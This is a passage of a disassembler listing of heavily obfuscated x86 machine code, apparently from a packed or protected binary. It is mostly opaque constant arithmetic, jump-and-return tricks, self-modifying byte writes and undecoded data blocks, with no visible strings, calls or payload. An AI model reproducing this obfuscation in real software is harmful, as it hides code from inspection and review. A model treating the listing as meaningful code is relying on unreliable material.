		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43A332:				; DATA XREF: _5qvhby1c:0043A087o
		push	edx
		mov	edx, eax
		xchg	edx, [esp]
		push	offset loc_43A8B1
		jmp	locret_43B64B
; ---------------------------------------------------------------------------
		dw 0C600h
		dd 335B8303h, 0B4C168C0h, 5FE90043h, 32h, 811EC6C1h, 0C55E0C6h
		dd 5ECE3BF3h, 5F3E9h, 0B8000000h, 43CD2Bh, 0FFFABBE9h
		dd 0C300FFh, 156FE900h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_43A37B:				; CODE XREF: _5qvhby1c:0043C7EDj
		jmp	loc_43B715
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43A382	proc near		; CODE XREF: _5qvhby1c:0043BCE3p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B41B SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0043C21E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043C48A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C801 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D421 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DC80 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		xchg	edx, [esp+0]
		mov	edi, edx
		pop	edx
		jmp	loc_43B41B
sub_43A382	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 24348700h, 0B7CF685Eh, 34873916h, 5EC68B24h,	0AE83E881h
		dd 0F0817838h, 80F6AB2Fh, 1E3EE9h, 2373E800h, 0
; ---------------------------------------------------------------------------
		mov	byte ptr [edx],	3
		pop	edx
		or	edi, 0ADC06CACh
		sub	edi, 0A6E4E917h
		xor	edi, 0D3E75E9Ah
		cmp	edi, 4FDE6549h
		jmp	loc_43CEC0
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C6h	; CODE XREF: _5qvhby1c:0043DD8Dj
		dd 3C879D00h, 5FC78B24h, 0DCE9008Bh, 2Fh, 0FDA7820Fh, 487FFFFh
		dd 242C8724h, 0FF5DC58Bh, 4300C015h, 0C0E85000h, 0
		dd 37685600h, 5EEAD529h, 5AB5F681h, 0C6817749h,	0E2638C7Eh
		dd 0E95EC685h, 25D5h, 4870000h,	53C88B24h, 0BCE9D98Bh
		dd 57000022h, 0FADCE068h, 241C87C8h, 40E9FB8Bh,	0C3000006h
		dd 0E900C300h, 0CC9h, 0C20B0000h, 38A3E9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B8D3


loc_43A455:				; CODE XREF: sub_43B8D3:loc_43DD62j
		mov	byte ptr [ebx],	87h
		pop	ebx
		xchg	ecx, [esp+4+var_4]
		mov	esi, ecx
		pop	ecx
		sub	esi, 8E1D6CFAh
		add	esi, 0E392C00Bh
		jmp	loc_43D239
; END OF FUNCTION CHUNK	FOR sub_43B8D3

; =============== S U B	R O U T	I N E =======================================



sub_43A470	proc near		; DATA XREF: _5qvhby1c:0043DCFDo

; FUNCTION CHUNK AT 0043D296 SIZE 00000005 BYTES

		push	5DE59493h
		pop	ebx
		or	ebx, 0ACA28E97h
		xor	ebx, 0FE585590h
		rol	ebx, 19h
		add	ebx, 0F1F8809Ah
		push	offset byte_43B29B
		jmp	loc_43D296
sub_43A470	endp

; ---------------------------------------------------------------------------
		db 2 dup(0), 50h
		dd 439EF5B8h, 0FA48E900h, 2DB9FFFFh, 0E9F52181h, 1237h
		dd 98E78100h, 817C2AFDh, 1AEE82C7h, 243C87FCh, 0B55E9h
		dd 14E38100h, 8750EA9Fh, 685E2434h, 0BE550563h,	0DAC88158h
		dd 0C166FC98h, 0A5E819C0h, 28h,	5FE900C3h, 37h,	0E900C300h
		dd 527h, 0CF9F6800h, 0DEE90043h, 0F000037h, 22B58Dh, 3DDE900h
		dd 0
; ---------------------------------------------------------------------------


loc_43A508:				; CODE XREF: _5qvhby1c:0043D216j
		xchg	eax, [esp]
		pop	eax
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jnz	loc_43A51B
		jmp	loc_43C343
; ---------------------------------------------------------------------------


loc_43A51B:				; CODE XREF: _5qvhby1c:0043A510j
		push	offset loc_43B869
		jmp	locret_43CC18
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h	; CODE XREF: _5qvhby1c:loc_43CE8Ej
		dd 1BE90000h, 3FFFFFCh,	3C081C5h, 8BD8C556h, 343E800h
		dd 0BAE90000h, 39h, 55FD8B57h, 0BF57243Ch, 43D38Eh, 213CE9h
		dd 81580000h, 1B6191C8h, 1AC0C1FDh, 5BEE8h, 0E9000000h
		dd 1714h, 21EDE900h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C14F


loc_43A574:				; CODE XREF: sub_43C14F:loc_43BF93j
		or	eax, 74C5160Eh
		and	eax, 44434349h
		add	eax, 4D01F6B8h
		sub	eax, 736D0AB1h
		add	eax, 0E26DAF8Bh


loc_43A592:				; DATA XREF: sub_43C14F-88Fo
		xchg	eax, [esp+4+var_4]
		push	ebx
		jmp	loc_43D7C4
; END OF FUNCTION CHUNK	FOR sub_43C14F
; ---------------------------------------------------------------------------
		align 4
		xchg	edi, [esp]
		pop	edi
		add	edx, 0CA851CC2h
		jmp	loc_43B0DE
; ---------------------------------------------------------------------------
		align 4
		dd 68098B00h, 439F8Ch, 1194E9h,	87000000h, 815E2434h, 0A1A05F2h
		dd 7268370Eh, 0E90043CEh, 0FFFFF881h, 0FE810000h, 0EE9B5F70h
		dd 0FFF982E9h, 0C300FFh, 70EE9h, 6E90000h, 81000007h, 273E89C0h
		dd 0B6B8680Bh, 64E90043h, 19h, 24048700h, 3AD6858h, 4873AD2h
		dd 58D08B24h, 25EA81h, 0FFE9EB2Bh, 20h,	0CC88C681h, 55E92C3Eh
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B845


loc_43A623:				; CODE XREF: sub_43B845:loc_43CDB2j
		push	edi
		push	5F18C1C9h
		pop	edi
		call	sub_43DF7B
; END OF FUNCTION CHUNK	FOR sub_43B845
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7F1


loc_43A630:				; CODE XREF: sub_43B7F1+25D3j
		jmp	nullsub_232
; END OF FUNCTION CHUNK	FOR sub_43B7F1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43A637:				; DATA XREF: sub_43DB36+3o
		xchg	eax, [esp]
		mov	ecx, eax
		pop	eax
		mov	byte ptr [eax],	0C3h
		call	nullsub_237
		mov	eax, offset sub_42524F
		jmp	loc_43D38C
; ---------------------------------------------------------------------------
		align 10h


loc_43A650:				; CODE XREF: _5qvhby1c:0043D9BCj
		jo	loc_43C87A
		jmp	loc_43D352
; ---------------------------------------------------------------------------


loc_43A65B:				; CODE XREF: _5qvhby1c:0043AD5Dj
		push	edx
		mov	edx, ebp
		xchg	edx, [esp]
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, edx
		jmp	loc_43DEBE
; ---------------------------------------------------------------------------
		dd 830F0000h, 34A5h, 0F2D880Fh,	55520000h, 25EAE85Ah, 0E8000000h
					; DATA XREF: _5qvhby1c:0043D933w
		dd 0FFFFF594h
; ---------------------------------------------------------------------------


loc_43A688:				; DATA XREF: sub_43B7F1-484o
		mov	edx, [eax]
		push	ecx
		push	6931C597h
		pop	ecx
		and	ecx, 520D097h
		jmp	loc_439E60
; ---------------------------------------------------------------------------


loc_43A69C:				; CODE XREF: _5qvhby1c:0043BD8Fj
		xchg	ebp, [esp]
		mov	esi, ebp
		pop	ebp
		pushf
		jmp	loc_43A8E9
; ---------------------------------------------------------------------------
		dd 7890000h, 7F85C75Fh,	44FFFFFFh, 0C7756265h, 67678345h
		dd 45C77265h, 65642087h, 2B24E974h, 50000000h, 0CB36868h
		dd 0C0C15817h, 0F4E88115h, 0E9815F72h, 94Ah, 6BE9DD0Bh
		dd 5000002Ch, 0FBB7EC68h, 0F963E8E8h, 0FFFFh, 2496E9h
		dd 0D98D0F00h, 1Dh
; ---------------------------------------------------------------------------


loc_43A700:				; CODE XREF: _5qvhby1c:0043B0F0j
		jmp	near ptr dword_43A170+59h
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0F6Eh, 0BDE9CD0Bh
		db 1Dh,	2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43A713	proc near		; CODE XREF: sub_43AE40:loc_43D48Ap

; FUNCTION CHUNK AT 0043B76C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043C37D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043D1E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D9A8 SIZE 00000011 BYTES

		xchg	edi, [esp+0]
		xchg	ebx, [esp+0]
		mov	edi, ebx
		pop	ebx
		mov	esi, [esi]
		jmp	loc_43D1E7
sub_43A713	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 1869890Fh, 34870000h, 0C0815E24h, 0F1293892h, 0BEE9C5A3h
		dd 16h,	63E99900h, 0FFFFF9h, 0AEE38100h, 0E9470484h, 26EEh
		dd 0EFAEE81h, 4AE9CA1Ah, 30h, 0AE9DDF81h, 0BDE95B61h, 1Ch
		dd 240C8751h, 68028859h, 43AF64h, 7DCE9h, 81000000h, 4E4269E1h
		dd 2404872Ah, 8B240C87h, 6C659C1h, 1673E987h, 0C30000h
		dd 0CF8B5100h, 0E9240C87h, 1520h, 698B0F00h, 87000020h
		dd 9C5B241Ch, 0C23C3068h, 0E7815FFAh, 92EADB56h, 43D4D768h
		dd 1C9CE900h, 0
; ---------------------------------------------------------------------------


loc_43A7C4:				; DATA XREF: _5qvhby1c:0043B606o
		sub	eax, edx
		jz	loc_43DC0F
		call	sub_43BEF5
; START	OF FUNCTION CHUNK FOR sub_43A948


loc_43A7D1:				; CODE XREF: sub_43A948:loc_43BB8Fj
					; sub_43A948+3114j
		push	offset loc_43C6B5
		jmp	nullsub_224
; END OF FUNCTION CHUNK	FOR sub_43A948
; ---------------------------------------------------------------------------
		align 4
		db 0, 9Ch

; =============== S U B	R O U T	I N E =======================================



sub_43A7DE	proc near		; CODE XREF: _5qvhby1c:loc_43D660p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439FF7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C502 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D140 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	edi, [esp+0]
		pop	edi
		jmp	loc_43C502
sub_43A7DE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 20E95700h, 0FFFFFFh,	0DCC08100h, 81D01061h, 0BEEE11F0h
		dd 0E8C503D5h, 223Ah, 82F08100h, 0E92F75CFh, 13F9h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7FC


loc_43A814:				; CODE XREF: sub_43B7FC:loc_43CE88j
		call	sub_43A948
; END OF FUNCTION CHUNK	FOR sub_43B7FC
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0F68h
; ---------------------------------------------------------------------------


loc_43A820:				; CODE XREF: _5qvhby1c:0043D3A7j
		jge	loc_43AD4E
		add	[ebx], cl
		setalc
		cmp	edi, 8249A932h
		jmp	loc_43A284
; ---------------------------------------------------------------------------
		dd 12E1E800h, 0C3C10000h, 241C8707h, 0A433685Bh, 44E90043h
					; CODE XREF: _5qvhby1c:0043C282j
		dd 0C3000021h, 0BD336852h, 0D3E90043h, 0F000014h, 90D86h
		dd 42E99D00h, 0E9000003h, 1688h, 3C870000h, 5FCF8B24h
		dd 43A1B468h, 980E900h,	0F000000h, 0CDB8Fh, 240C8700h
		dd 1B9DE8h, 5FE90000h, 0F000026h, 23C88Bh, 1FC3C100h, 18E7E181h
		dd 0C1F7C70Dh, 40h, 1857E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------

locret_43A8AB:				; CODE XREF: _5qvhby1c:0043ADCAj
		retn
; ---------------------------------------------------------------------------


loc_43A8AC:				; CODE XREF: _5qvhby1c:0043C62Cj
		jmp	loc_43B860
; ---------------------------------------------------------------------------


loc_43A8B1:				; DATA XREF: _5qvhby1c:0043A338o
		push	edi
		push	0AD9622B2h
		pop	edi
		or	edi, 7E19D49Ah
		add	edi, 84CC45Ah
		jmp	loc_43AA4E
; ---------------------------------------------------------------------------

locret_43A8C9:				; CODE XREF: _5qvhby1c:0043D716j
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFF6CE8h, 66E900FFh, 30h, 299CE9h,	0E3E90000h, 0E9FFFFF8h
		dd 3609h
		db 0
; ---------------------------------------------------------------------------


loc_43A8E9:				; CODE XREF: _5qvhby1c:0043A6A3j
		push	3D831FB0h
		pop	eax
		rol	eax, 1Ah
		xor	eax, 0E7CCA587h
		push	43A52Fh
		jmp	loc_43CE8E
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, 0AE05AC8Ch
		jmp	loc_43B409
; ---------------------------------------------------------------------------
		dw 0C600h
		dd 815B9C03h, 0F4C0DAE0h, 28C08133h, 31756C3h, 2E19E8C5h
		dd 0C5E90000h, 0FFFFF9h, 5E07D181h, 8AE94192h, 0FFFFFFBh
		dd 2F2684h, 0FAE38100h,	0E903B081h, 0B6Bh

; =============== S U B	R O U T	I N E =======================================



sub_43A948	proc near		; CODE XREF: sub_43B7FC:loc_43A814p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043A7D1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043B9CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BB8F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C034 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043C5C3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043C6B0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C6BC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043C6E0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043D681 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043D9A3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DA51 SIZE 00000010 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	byte ptr [edi],	9
		xchg	eax, [esp+0]
		jmp	loc_43D9A3
sub_43A948	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 0C6C8D0Fh, 0
		dd 0FFFB8CE9h, 0D72300FFh, 0E06D881h, 57E9AFCEh, 5800000Ch
		dd 1BAAE081h, 0C081771Ch, 0EA2BB128h, 7BE80005h, 0Ch, 23F58700h
		dd 7E999C1h, 1Ch, 59505100h, 0FFF929E8h, 0E90000FFh, 3213h
		dd 0DD6AC181h, 0F1819484h, 4B3290D0h, 43CDFA68h, 0F8A0E900h
		dd 0FFFFh, 0BFE9D5F7h
		db 0F9h, 2 dup(0FFh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_236. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_43A9C4	proc near		; DATA XREF: _5qvhby1c:0043B854o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043ADA8 SIZE 0000001D BYTES

		push	ebp
		mov	ebp, esi
		xchg	ebp, [esp+4+var_4]
		push	6F73CC4h
		pop	esi
		and	esi, 149C7878h
		or	esi, 0BB900450h
		jmp	loc_43ADA8
sub_43A9C4	endp

; ---------------------------------------------------------------------------

locret_43A9E1:				; CODE XREF: _5qvhby1c:0043B49Fj
		retn
; ---------------------------------------------------------------------------
		dw 0E900h		; CODE XREF: sub_43D6B0+7j
		dd 0FFFFFC73h, 0FFF5B9E9h, 810000FFh, 0B5E513CEh, 0F4E1E9EBh
		dd 0E981FFFFh, 407571CBh, 279E9h, 0EC0C100h, 0FFF648E9h
		dd 198B00FFh, 0FFF453E9h, 0C30000FFh
; ---------------------------------------------------------------------------


loc_43AA18:				; CODE XREF: _5qvhby1c:0043CF22j
		jmp	loc_43B4D7
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DACC


loc_43AA1F:				; CODE XREF: sub_43DACC-2912j
					; sub_43D51D-1135j ...
		push	offset byte_43D71B
		jmp	loc_43C960
; END OF FUNCTION CHUNK	FOR sub_43DACC
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4


loc_43AA2C:				; CODE XREF: _5qvhby1c:0043D6F3j
		jmp	loc_43DDA1
; ---------------------------------------------------------------------------
		align 2
		dw 840Fh
		dd 0FFFFFEB6h, 0E781D61Bh, 0DAE9675Bh, 52D890Fh, 0
		dd 1C77E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43AA4E:				; CODE XREF: _5qvhby1c:0043A8C4j
		jmp	near ptr dword_43A498+15h
; ---------------------------------------------------------------------------
		align 4
		test	eax, esi
		jmp	loc_43D17D
; ---------------------------------------------------------------------------
		align 4
		dd 70E99900h, 0C300000Eh, 19B0E900h, 8BE90000h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43AA6F:				; CODE XREF: _5qvhby1c:0043A28Cj
		jo	near ptr dword_43A3DC+19h
		pop	edx
		jmp	loc_43AD4E
; ---------------------------------------------------------------------------
		align 4
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B2E6


loc_43AA7D:				; CODE XREF: sub_43B2E6+260Ej
		jmp	nullsub_240
; END OF FUNCTION CHUNK	FOR sub_43B2E6
; ---------------------------------------------------------------------------
		dw 0E900h
		dd 2954h, 0F5030000h, 1FE0C681h, 64866A0h, 0B9A9685Eh
		dd 0D1E90043h, 6, 8E0D568h, 0E6815E37h,	240B965Ch, 1FA2CE81h
		dd 0F68175CEh, 0E7699967h, 958BC681h, 84E96D9Ch, 0FFFFF5h
		dd 0F2815200h, 47B9676Fh, 20C8E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7F1


loc_43AAD2:				; CODE XREF: sub_43B7F1:loc_43CFC8j
		popf
		call	sub_439E68
; END OF FUNCTION CHUNK	FOR sub_43B7F1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43AADA:				; CODE XREF: _5qvhby1c:loc_43B3C5j
		mov	ebp, 8A6CB1C6h
		and	edi, 0BA795CDBh
		jmp	loc_43B602
; ---------------------------------------------------------------------------
		dw 0C100h
		dd 1F890FE6h, 0BEC1819Dh, 0F75311F0h, 40000C1h,	569E900h
		dd 68000000h, 43C992h, 1BC3E9h,	87000000h, 1487240Ch, 5ACA8B24h
		dd 5C82C681h, 0C3E87C87h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439DA0


loc_43AB23:				; CODE XREF: sub_439DA0+1j
		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, 0A0454389h
		call	sub_43DCB5


loc_43AB32:				; CODE XREF: _5qvhby1c:0043DCF1j
		jmp	nullsub_230
; END OF FUNCTION CHUNK	FOR sub_439DA0
; ---------------------------------------------------------------------------
		align 4
		dd 0F6E8E900h, 0FFFFh, 58240487h, 448A008Bh, 558BE005h
		dd 2D70E8FCh, 0E9000000h, 3255h, 0F1E90000h, 31h, 188DE900h
		dd 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		jmp	locret_43CBE7
; ---------------------------------------------------------------------------
		db 0E9h	; 
		db  3Eh	; >
		db  0Dh
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_43AB73:				; CODE XREF: _5qvhby1c:00439DBAj
		jmp	loc_43A21C
; ---------------------------------------------------------------------------
		dd 0F7990000h, 0DA6C68F9h, 0BEE90043h, 0FFFFF5h, 878707C6h
		dd 0FB8B241Ch, 0FC6C15Bh, 0E19BE681h, 0C6F70ECBh, 4000000h
		dd 179EE9h, 24148700h, 0F18B565Ah, 8D243487h, 43A66E05h
		dd 0AFE95200h, 0FFFFFEh, 87C80B00h, 0C659240Ch,	815EF606h
		dd 0E2A58BEAh, 6DF28138h, 363FA41h, 2B01E9D5h, 0CDE80000h
		dd 17h,	87007D89h, 3C872414h, 5FD78B24h, 0C015FFh, 41E80043h
		dd 9, 0F2D38100h, 0E9D470C8h, 63Eh, 24348700h, 685ED68Bh
		dd 5B8C9114h, 98CE815Eh, 0FFA337Bh, 2BC988h
		db 0
; ---------------------------------------------------------------------------


loc_43AC1D:				; CODE XREF: _5qvhby1c:0043A0D6j
		jmp	loc_43ADC5
; ---------------------------------------------------------------------------
		align 4
		and	edx, 0AFCF05C7h
		jmp	loc_43D7DA
; ---------------------------------------------------------------------------
		align 10h
		dd 0C4860F9Dh, 0E9FFFFFBh, 174Dh, 24148700h, 8B242C87h
		dd 0C7815DD5h, 0BF0C33E7h, 207FE9h, 8B000000h, 0FB83E9C7h
		dd 0FFFFh, 8A9D008Bh, 68992C00h, 43B93Bh, 1879E9h, 81550000h
		dd 99AD0FC0h, 4879D63h,	0FCE2E924h, 1487FFFFh, 0D2685A24h
		dd 5878FE25h, 0DC6AE081h, 0E881239Bh, 79BC2679h, 3A8AF881h
		dd 68E9D732h, 68FFFFFAh, 43D49Bh, 27E8E9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AE40


loc_43ACA9:				; CODE XREF: sub_43AE40:loc_43BCA8j
		or	edx, 8E905D38h
		xor	edx, 0FE1E05C7h
		add	esi, edx
		pop	edx
		jmp	loc_43B10E
; END OF FUNCTION CHUNK	FOR sub_43AE40
; ---------------------------------------------------------------------------
		xchg	ecx, [esp]
		pop	ecx
		add	ecx, 5B5FCFB5h
		add	eax, ecx
		push	439EA5h
		jmp	loc_43B023
; ---------------------------------------------------------------------------


loc_43ACD3:				; CODE XREF: _5qvhby1c:loc_43D451j
		call	near ptr dword_43CB48+27h
; ---------------------------------------------------------------------------
		dd 92E90000h, 0E9000007h, 0F6Eh
		db 0C3h	; 		; CODE XREF: sub_43D51D-53Bj
; ---------------------------------------------------------------------------


loc_43ACE5:				; CODE XREF: _5qvhby1c:0043DF90j
		jmp	near ptr dword_43BC30+39h
; ---------------------------------------------------------------------------
		db 0E9h	; 
		db  7Fh	; 
		db  1Ah
		db    0
		db    0
		db    0
		db    0
		db 0C3h	; 
		db    0
		db  81h	; 
		db 0EFh	; 
		db  10h
		db  95h	; 
		db  3Dh	; =
		db  7Eh	; ~
		db  81h	; 
		db 0E7h	; 
		db  8Dh	; 
		db  45h	; E
		db 0BBh	; 
		db 0B0h	; 
		db  81h	; 
		db 0F7h	; 
		db 0C1h	; 
		db  2Ah	; *
		db 0EAh	; 
		db 0DFh	; 
		db    3
		db 0CFh	; 
		db  5Fh	; _
		db  8Bh	; 
		db    9
		db 0E9h	; 
		db  64h	; d
		db 0F1h	; 
		db 0FFh
		db 0FFh
		db    0
		db  8Bh	; 
		db 0F1h	; 
		db  87h	; 
		db  34h	; 4
		db  24h	; $
		db  8Bh	; 
		db 0CEh	; 
		db  5Eh	; ^
		db  68h	; h
		db  46h	; F
		db  10h
		db  98h	; 
		db  9Bh	; 
		db 0E9h	; 
		db  63h	; c
		db  26h	; &
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
		or	edi, eax
		pop	edx
		jmp	sub_43B655
; ---------------------------------------------------------------------------


loc_43AD2C:				; CODE XREF: _5qvhby1c:0043C619j
		jz	loc_43C626
		jmp	loc_43CBD1
; ---------------------------------------------------------------------------
		xor	ebx, 0EC8B0C72h
		add	ebx, ebp
		add	ebx, 34B1C67Ch
; START	OF FUNCTION CHUNK FOR sub_43B7F1


loc_43AD45:				; CODE XREF: sub_43B7F1+13FBj
					; DATA XREF: sub_43DF7B+5o
		xor	al, 3
		pop	ebx
		jmp	loc_43CFC8
; END OF FUNCTION CHUNK	FOR sub_43B7F1
; ---------------------------------------------------------------------------
		align 2


loc_43AD4E:				; CODE XREF: _5qvhby1c:loc_43A820j
					; _5qvhby1c:0043AA76j
		sub	ecx, 0D4131AFCh
		add	ecx, 0A12237C9h
		xchg	ecx, [esp]
		jmp	loc_43A65B
; ---------------------------------------------------------------------------
		dw 0EFE8h
		dd 0FFFFF3h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7F1


loc_43AD69:				; CODE XREF: sub_43B7F1-192Dj
		jmp	loc_43B367
; END OF FUNCTION CHUNK	FOR sub_43B7F1
; ---------------------------------------------------------------------------
		dw 2300h
; ---------------------------------------------------------------------------
		std
		jmp	loc_43A2C6
; ---------------------------------------------------------------------------
		align 4
		dd 5F243C87h, 0FC88B51h, 0BF57240Ch, 43CC8Ch, 11CDE9h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_43AD8F:				; CODE XREF: _5qvhby1c:loc_43C29Fj
		or	edi, 0D166051Eh
		add	edi, 6300A9DAh
		xor	edi, 3CEF7F78h
		test	ecx, edi
		jmp	loc_43BF77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A9C4


loc_43ADA8:				; CODE XREF: sub_43A9C4+18j
		add	esi, 3D2A2753h
		add	esi, ebp
		push	eax
		push	0EACBC9E3h
		pop	eax
		and	eax, 0CDD0FD0Eh
		rol	eax, 0Ah
		jmp	near ptr loc_43DAA8+1
; END OF FUNCTION CHUNK	FOR sub_43A9C4
; ---------------------------------------------------------------------------


loc_43ADC5:				; CODE XREF: _5qvhby1c:loc_43AC1Dj
		push	(offset	loc_43DE1A+1)
		jmp	locret_43A8AB
; ---------------------------------------------------------------------------
		align 10h
		not	ebx
		sbb	edi, 40C68F7Fh
		jmp	loc_43CFE7
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h	; CODE XREF: _5qvhby1c:loc_43C4FCj
		dd 0FFF359E9h, 0E90000FFh, 0FFFFFA09h, 1CE90000h, 2Eh
		dd 0DAE16800h, 0DFE90043h, 0FFFFFAh, 0EEC19D00h, 81FA0316h
		dd 0A31EADC2h, 1CEA8180h, 68795C32h, 439F7Ch, 0FFF626E9h
		dd 0C30000FFh, 0C6C300h, 0F0815887h, 0B63F9E17h, 48CDC081h
		dd 0C50300C8h, 1D1EE9h,	8D0F0000h, 1F4Eh

; =============== S U B	R O U T	I N E =======================================



sub_43AE40	proc near		; CODE XREF: sub_43BB5F+739p

; FUNCTION CHUNK AT 0043ACA9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043B10E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BCA8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D48A SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	edx
		push	0E38FE0E5h
		pop	edx
		add	edx, 442D5AB9h
		jmp	loc_43BCA8
sub_43AE40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0C300h
		dd 0FEB2E900h, 0FFFFh, 0B34E9h,	0D6810000h, 4B44C717h
		dd 0A1E9E91Bh, 8100000Dh, 7A1407D2h, 243487D5h,	66C1815Eh
		dd 0E91A5A80h, 0FFFFF86Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B8D3


loc_43AE88:				; CODE XREF: sub_43B8D3:loc_43D239j
					; DATA XREF: sub_43B8D3+Bo
		xchg	esi, [esp+0]
		jmp	loc_43CE38
; END OF FUNCTION CHUNK	FOR sub_43B8D3
; ---------------------------------------------------------------------------
		dd 2162E8h, 0BE2E6800h,	9EE90043h, 4, 7FE85F5Dh, 1Eh, 0FAF18100h
		dd 81E58EBDh, 0B1D7BFC1h, 0F7999DBFh, 28850FF9h, 0E8FFFFF8h
		dd 2E34h, 0D6E90000h, 2Ch, 0F0958D0Fh, 0FFFFh, 8D1E9h
		dd 14E0C100h, 0E7FFE081h, 840F4816h, 28C7h, 0FFF6E5E9h
		dd 14840FFFh, 0E900002Ch, 402h,	7D830000h, 8DE000F0h, 18B2h
		dd 2961E9h, 458B0000h, 5448AF0h, 8DE950E0h, 5, 0FF00C600h
		dd 16C6C158h, 43C05368h, 1D78E900h, 0
		dd 0EF79830Fh, 0CD81FFFFh, 420FE5D2h, 0FFEF02E9h, 81C0D1FFh
		dd 103411C0h, 1C3BE903h, 0
; ---------------------------------------------------------------------------
		mov	edi, ebx
		jmp	loc_43DA85
; ---------------------------------------------------------------------------
		align 4
		dd 0C300h, 0E5EE9h, 0A0E90000h,	2Eh, 0E8F04DFFh, 1941h
					; CODE XREF: _5qvhby1c:0043C4B5j
		dd 15DDE900h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_43AF73:				; CODE XREF: _5qvhby1c:0043D18Dj
		call	sub_43DBF7
		call	near ptr dword_43A724+5Dh
		jmp	loc_43DD7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B845


loc_43AF82:				; CODE XREF: sub_43B845+8j
		jmp	loc_43C78F
; END OF FUNCTION CHUNK	FOR sub_43B845
; ---------------------------------------------------------------------------
		db 0Fh
		dd 11D685h, 28E95B00h, 0FFFFF6h, 43CCD568h, 1D2AE900h
		dd 0E8810000h, 0AC41A8E0h, 9EFDC081h, 4BE8AC73h, 3, 0FAADE900h
		dd 0F00FFFFh, 15988Ah, 243C8700h, 2414875Fh, 0FFF0DDE8h
		dd 530000FFh, 0FB086468h, 243C871Fh, 815FDF8Bh,	75A286EBh
